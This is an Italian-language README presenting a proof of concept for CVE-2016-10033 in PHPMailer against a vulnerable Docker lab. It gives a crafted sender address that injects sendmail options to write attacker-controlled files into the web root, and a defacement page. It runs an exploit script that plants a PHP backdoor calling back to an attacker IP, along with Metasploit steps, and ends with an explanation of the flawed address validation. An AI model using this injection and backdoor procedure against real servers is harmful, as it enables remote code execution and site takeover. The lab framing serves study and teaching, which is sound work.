astrowmist/poc-cve-2016-10033Prova di concetto per la CVE-2016-10033 (PHPMailer)
Prima di tutto, avviamo l'applicazione vulnerabile
Comando: docker pull vulnerables/cve-2016-10033
Ora puoi accedere al sito web vulnerabile all'indirizzo localhost:8080 nel browser web.
Input Nome: OSEC (può essere una stringa qualsiasi, questo non influisce sull'exploit)
Email Mittente Crafted: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
Il funzionamento di questa email mittente craftata è spiegato in dettaglio nella sezione descrizione del vettore d'attacco. Per quanto riguarda i parametri specifici, il secondo parametro -oQ/tmp specifica la directory della coda e il terzo parametro, -X/www/pwn.html specifica la posizione del file di log da scrivere.
Se la directory della coda non viene specificata, il processo sendmail tenterebbe di accedere alla directory predefinita della coda di posta (/var/spool/mqueue-client/) che sarebbe protetta per impedire accessi e manomissioni non autorizzati, una misura di sicurezza comune. Per evitare questo problema di permessi, devi specificare una directory della coda in cui l'utente che esegue lo script PHP ha permessi di scrittura. Comunemente, viene utilizzata una directory come /tmp perché è tipicamente scrivibile da tutti gli utenti.
Se il corpo dell'email contiene codice PHP e se il file di log specificato viene posizionato in una directory accessibile dal web, l'attaccante può eseguire il codice PHP accedendo al file di log tramite un browser web, ottenendo così l'esecuzione remota del codice.
Input Messaggio: Questo è solo un esempio di file html che un attaccante potrebbe caricare. Ovviamente, l'attaccante potrebbe caricare qualcosa di molto peggiore come una backdoor, cosa che faremo nel prossimo metodo di sfruttamento
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>
Comando: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> specifica l'URL del target
-cf -> specifica la posizione del modulo di contatto all'interno dell'URL specificato in -url. (Nel nostro caso è esattamente lo stesso di -url, quindi abbiamo incluso solo una barra)
-ip -> specifica l'IP dell'attaccante per la connessione di ritorno della backdoor
-d -> specifica la directory relativa per caricare il file php della backdoor
--post-action -> L'attributo name del campo nascosto
--post-msg -> L'attributo name del campo di input del messaggio
Nota: Il motivo per cui dobbiamo specificare --post-action come "submit" e --post-msg come "message" è che nell'applicazione vulnerabile che stiamo utilizzando l'attributo name è diverso dai valori predefiniti usati nello script Python di exploit
Gli attributi name nell'applicazione vulnerabile:
Gli attributi name predefiniti specificati nello script:
Nell'immagine sopra puoi vedere che il programma sta cercando di accedere a http://127.0.0.1:8080//www/phpbackdoor9284.php che è ovviamente sbagliato a causa di //www. Questo non funzionerà perché in questo sito web vulnerabile /www è la radice del sito, quindi non puoi navigare verso http://127.0.0.1:8080/www poiché http://127.0.0.1:8080 è già su /www.
Anche nell'immagine sottostante possiamo vedere che l'exploit ha effettivamente funzionato perché phpbackdoor9284.php è stato creato con successo nella directory. Quindi l'unico problema era come rimuovere quel //www dall'URL.
Dopo un'ispezione più approfondita dello script Python, siamo riusciti a localizzare la variabile BACKDOOR_URL che specifica l'URL del file php della backdoor.
Nella variabile possiamo vedere che la directory target che abbiamo specificato (args.TARGET_UP_DIR) viene concatenata insieme alla variabile BACKDOOR_FILE.
Per risolvere il problema, dobbiamo rimuovere quella e la barra aggiuntiva.
Prima:
Dopo:
Comandi:
msfconsole
search CVE-2016-10033
use 1
Comandi:
set RHOSTS 192.168.79.1 (specifica l'IP del target)
set RPORT 8080 (specifica la porta del target)
set TARGETURI /(specifica l'URL del modulo web)
set WEB_ROOT /www (specifica dove si trova la root del sito web)
Comando: exploit
Siamo arrivati alla fine del POC.
La classe PHPMailer utilizza la funzione PHP mail() come trasporto predefinito.
Il trasporto è implementato utilizzando la funzione mailSend():
Se guardi alla riga 12,
l'indirizzo del mittente viene concatenato con -f come da documentazione PHP della funzione mail() per dire al binario sendmail che la stringa dopo l'argomento -f è l'indirizzo email del mittente.
All'ultima riga della funzione mailSend(),
vengono passati tutti gli argomenti richiesti dalla funzione PHP mail() incluso il 5° parametro $params che consente di passare parametri aggiuntivi al binario sendmail.
L'immagine qui sotto mostra i parametri che la funzione mail() accetta e che corrispondono ai parametri passati dalla funzione mailSend().
Come visto sopra, sappiamo che la stringa $params è costruita dalla variabile Sender. Questa stringa Sender viene normalmente impostata utilizzando il metodo setFrom() che convalida l'indirizzo del mittente che l'utente digita nel modulo web.
A causa della convalida della funzione validateAddress(), PHPMailer rifiuterebbe, ad esempio, un'email come
attacker -InjectedParam2 @attacker.com
che impedirebbe l'iniezione di parametri aggiuntivi a Sendmail tramite la funzione mail().
Ulteriori ricerche da parte del fondatore del CVE hanno rivelato che la convalida viene effettivamente eseguita secondo le specifiche RFC 3696.
L'RFC consente alle email di contenere spazi quando sono racchiuse tra ". Quindi il seguente indirizzo email sarebbe accettato dal metodo setFrom():
"Attacker -Param2 -Param3"@test.com
Che verrebbe poi passato alla funzione mailSend() e quindi alla funzione PHP mail() che a sua volta eseguirebbe /usr/bin/sendmail, il binario MTA (Mail Transfer Agent), con i seguenti argomenti:
Arg n. 0 == [/usr/sbin/sendmail]
Arg n. 1 == [-t] (legge i destinatari dalle intestazioni)
Arg n. 2 == [-i] (ignora i punti sulle righe)
Arg n. 3 == [-f”Attacker -Param2 -Param3”@test.com]
In altre parole, così:
il che non funzionerebbe per l'attaccante poiché Param2 e Param3 vengono passati all'interno dello stesso argomento numero 3 che specifica l'indirizzo del mittente.
Tuttavia, gli attaccanti possono uscire da questo con un ulteriore escaping. Iniettando una sequenza aggiuntiva di \" nell'email del mittente dopo il primo argomento,
"Attacker \" -Param2 -Param3"@test.com
e quando viene passato a PHPMailer e infine alla funzione mail(), eseguirebbe il binario sendmail con i seguenti argomenti
Arg n. 0 == [/usr/sbin/sendmail]
Arg n. 1 == [-t]
Arg n. 2 == [-i]
Arg n. 3 == [-fAttacker\]
Arg n. 4 == [-Param2]
Arg n. 5 == [-Param3"@test.com]
In altre parole, così:
Quindi questa volta gli attaccanti sarebbero in grado di iniettare parametri aggiuntivi, in questo caso i parametri 4 e 5.
Questa vulnerabilità è stata trovata da Dawid Golunski.
L'immagine Docker è stata creata da opsxcq - https://github.com/opsxcq
e ultimo ma non meno importante, i miei adorabili compagni di gruppo che mi hanno aiutato con il POC :
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/